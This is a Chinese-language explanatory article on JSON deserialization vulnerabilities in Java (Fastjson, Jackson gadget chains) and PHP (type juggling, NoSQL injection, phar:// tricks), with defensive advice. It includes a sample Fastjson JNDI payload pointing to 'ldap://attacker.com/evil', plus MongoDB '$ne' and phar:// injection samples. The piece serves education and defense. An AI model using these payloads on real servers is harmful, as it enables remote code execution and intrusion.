JSON反序列化漏洞的触发,本质上不在于“反序列化”这个动作本身,而在于反序列化过程中,程序“多做了什么事”。在Java和PHP这两种主流后端语言里,这个“多做的事”完全不同,导致了漏洞触发的条件、利用方式和危害等级有着天壤之别。简单来说,Java靠的是“魔术类”的自动调用链,PHP则更依赖“逻辑缺陷”和“类型混淆”。
Java:一切围绕“类”与“魔术方法”的自动执行在Java中,JSON反序列化漏洞通常不是标准库如org.json或Gson直接导致的,除非你开启了极其危险的配置。真正的重灾区是那些支持“多态反序列化”和“自定义反序列化逻辑”的库,典型代表就是Jackson和Fastjson。它们的核心问题在于,为了将JSON数据自动还原成Java对象,库需要知道具体要创建哪个类。攻击者如果能在JSON中指定一个危险的类,并触发其生命周期中的自动执行方法,就能实现远程代码执行。
以Fastjson为例,它的AutoType功能是漏洞的万恶之源。当Fastjson解析包含@type字段的JSON时,会尝试加载指定的类。触发条件非常具体:
1. AutoType功能开启:这是最直接的入口。Fastjson在早期版本默认开启,后期虽默认关闭,但很多项目为了开发便利会手动开启。一旦开启,攻击者传入{"@type":"com.example.EvilClass"},Fastjson就会尝试实例化这个类。
2. 利用类的构造函数、setter方法、getter方法:Fastjson在反序列化时会自动调用对象的setter方法和满足特定条件的getter方法。攻击者寻找那些在setter或getter中有危险操作的类(如JdbcRowSetImpl、TemplatesImpl)。例如,经典的JdbcRowSetImpl利用链,其setDataSourceName方法会设置一个JNDI地址,当调用getConnection时,会触发JNDI注入,加载远程恶意类。
// 典型的Fastjson攻击载荷
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/evil",
"autoCommit": true
}
3. 利用链(Gadget Chain)的完整性:很多时候,直接触达危险操作很难,需要多个类像多米诺骨牌一样串联起来。比如Fastjson调用getter,getter里调用了另一个类的某个方法,最终链到Runtime.exec。ysoserial工具就是专门生成这类利用链的。在Java生态中,只要ClassPath下存在有缺陷的库(如Commons-Collections、Spring等),即使目标应用本身代码没写错,也可能被利用。
Jackson的情况类似,但触发条件更“隐蔽”。它的默认类型解析相对安全,但如果开发者为了处理多态而启用了enableDefaultTyping(),并指定了ObjectMapper的配置,那么攻击者就可以在JSON中嵌入类名信息。Jackson的利用链往往不直接依赖setter,而是利用有参构造函数、或者@JsonCreator注解的方法,以及getter/setter的组合。其核心依然是“由JSON数据驱动的任意类实例化与属性赋值”。
PHP:反序列化是“原配”,但JSON反序列化本身很“干净”PHP的情况与Java截然不同。PHP原生的json_decode函数是极其安全的,它只是单纯地将JSON字符串转换成PHP的数组或标准对象(stdClass),不会自动调用任何魔术方法。这就切断了很多自动执行的可能。因此,PHP中纯粹的JSON反序列化漏洞几乎不存在。真正的漏洞触发条件,是“二次处理”过程中的逻辑缺陷。
最常见的模式是:应用使用json_decode将用户输入转成数组或对象,然后程序员在后续的业务代码中,不加甄别地使用这些数据,最终导致了漏洞。触发条件可以归纳为以下几种典型场景:
1. 类型混淆导致的逻辑绕过:这是PHP JSON反序列化中最具特色的漏洞。PHP是弱类型语言,JSON中的true、false、数字、字符串在解码后类型明确,但程序员常常用松散比较(==)或直接将数据传递给类型敏感的函数。例如,一个API接收JSON {"user_id": 1},后端代码用这个user_id去数据库查询。如果攻击者传入 {"user_id": true},在某些ORM或数据库驱动中,true可能被转换为1,也可能导致查询条件异常。更经典的案例是,密码验证逻辑:if ($input['is_admin'] == true),如果攻击者传入{"is_admin": 1},在松散比较下1==true成立,可能绕过权限检查。
2. 数组与对象转换导致的注入:json_decode可以返回数组或对象。如果开发者期望一个关联数组,但攻击者传入了一个带数字索引的数组,或者传入了嵌套对象,在后续的foreach循环、数组操作函数(如array_merge、array_diff)中可能产生非预期行为。最危险的是,当这些数据被直接拼接到SQL语句、shell命令或作为模板变量输出时,就会引发SQL注入、命令注入或XSS。例如:
// 开发者期望: {"name": "test"}
// 攻击者传入: {"name": {"$ne": "admin"}}
// 如果后端直接将解码后的对象传递给MongoDB查询,就可能触发NoSQL注入。
3. 对phar://反序列化的“嫁接”利用:这是PHP中一个非常高级且隐蔽的技巧。虽然json_decode本身不触发反序列化,但如果应用存在一个文件操作函数(如file_exists、is_dir、include等),并且其参数部分可控,攻击者可以构造一个phar://协议地址。当PHP通过phar://协议读取一个恶意构造的Phar文件时,会触发其中的Metadata部分的PHP对象反序列化。此时,JSON的作用是传递这个phar://路径。例如,一个头像上传功能,接收JSON {"avatar_url": "phar://./uploads/evil.jpg"},后端用file_exists检查文件是否存在,结果触发了反序列化漏洞。这种漏洞的触发条件非常苛刻:需要应用能将攻击者控制的JSON字段值,未经过滤地传递给一个可接受流包装器的文件系统函数。
4. 弱类型注入与反序列化函数的组合拳:有些开发者会将json_decode后的数据,直接传给unserialize函数,这无疑是自杀行为。但更隐蔽的是,某些框架或库在内部处理缓存、会话时,可能会将JSON数据的一部分进行反序列化。如果攻击者能污染这部分数据,就能实现攻击。此外,当JSON数据被用于实例化一个类,并传递给一个自动调用__wakeup或__destruct方法的流程时,漏洞就产生了。但这已经脱离了“JSON反序列化”的范畴,进入了PHP原生对象反序列化的领域。
核心差异与防护思路的彻底分野理解了两者触发条件的本质不同,防护策略也就清晰了。Java的防护是“做减法”,核心是阻断危险类的加载和执行链。具体措施包括:
- 禁用AutoType或默认类型解析:在Fastjson、Jackson中,除非业务绝对需要,否则坚决关闭。如果必须开启,使用白名单机制,只允许反序列化指定的安全类。
- 升级并维护依赖库版本:Fastjson、Jackson等库自身也在不断封堵已知的利用链。保持最新版本是基础。
- 运行时环境加固:升级JDK版本,高版本JDK对JNDI注入等有更严格的限制。同时,使用安全管理器(SecurityManager)策略,禁止应用执行外部命令或建立危险网络连接。
- 监控与防御:在WAF或RASP层面,监控JSON请求中是否包含@type、类名关键字(如java.lang.Runtime、com.sun.rowset等),并及时拦截。
PHP的防护则是“做加法”,核心是强化数据类型校验和逻辑严谨性。具体措施包括:
- 强类型校验,杜绝松散比较:在接收到JSON数据后,立即对每个字段进行严格的类型和格式校验。使用===代替==,使用filter_var或自定义校验器确保user_id是整数,is_admin是布尔值,而不是简单的真值判断。
- 最小权限原则处理数据:永远不要将用户输入的JSON数据直接传递给SQL查询、Shell命令、文件系统函数或模板引擎。必须经过参数化查询、输入清洗、路径白名单校验等处理。
- 警惕文件操作函数:对所有文件系统函数的参数进行严格过滤,禁止phar://、php://等危险协议头出现。或者直接禁用allow_url_fopen和allow_url_include。
- 逻辑上隔离数据与行为:在设计上,确保从JSON解码得到的数据仅仅是“数据”,不直接决定程序的控制流或对象实例化过程。如果必须实例化对象,使用白名单映射,而不是直接根据用户输入动态创建类。
Java的漏洞像是一个自动化的精密陷阱,一旦踩中预设的机关(类和方法),就会自动触发连锁反应。而PHP的漏洞更像是一个粗心的工匠留下了后门,攻击者需要利用工匠的疏忽,通过类型欺骗或路径控制来达成目的。前者是技术框架的特性被滥用,后者是编程习惯的缺陷被放大。理解这一点,远比记住几个CVE编号更有价值。
